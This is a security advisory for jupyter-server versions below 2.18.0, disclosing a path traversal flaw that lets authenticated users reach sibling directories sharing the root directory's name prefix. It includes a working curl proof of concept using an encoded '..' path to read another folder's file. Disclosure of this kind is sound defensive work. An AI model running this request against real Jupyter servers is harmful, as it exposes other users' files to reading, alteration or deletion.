GHSA-5789-5fc7-67v3
Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | jupyter-server | < 2.18.0 | 2.18.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.
### PoC
Minimal:
```
.
├── test/ <- root directory.
│ └── test.txt
└── testtest/
└── secret.txt <- file to exfiltrate that we should not be able to access via API
```
```bash
HOST="http://localhost:8888"
TOKEN=""
SIBLING="testtest"
TARGET="secret.txt"
curl -s -X POST \
"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \
-H "Authorization: token $TOKEN"
```
Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006
### Impact
It is possible for an authenticated user to access content outside the server's `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories.
This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher.
In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.
### Workarounds
Use folder names that do not overlap.
### Acknowledgments
Thank you to @stef41 for providing a useful PoC.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-5789-5fc7-67v3
- https://nvd.nist.gov/vuln/detail/CVE-2026-35397
- https://access.redhat.com/errata/RHSA-2026:43038
- https://access.redhat.com/errata/RHSA-2026:60520
- https://access.redhat.com/security/cve/CVE-2026-35397
- https://bugzilla.redhat.com/show_bug.cgi?id=2466858
- https://github.com/jupyter-server/jupyter_server
- https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2026-68.yaml
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35397.json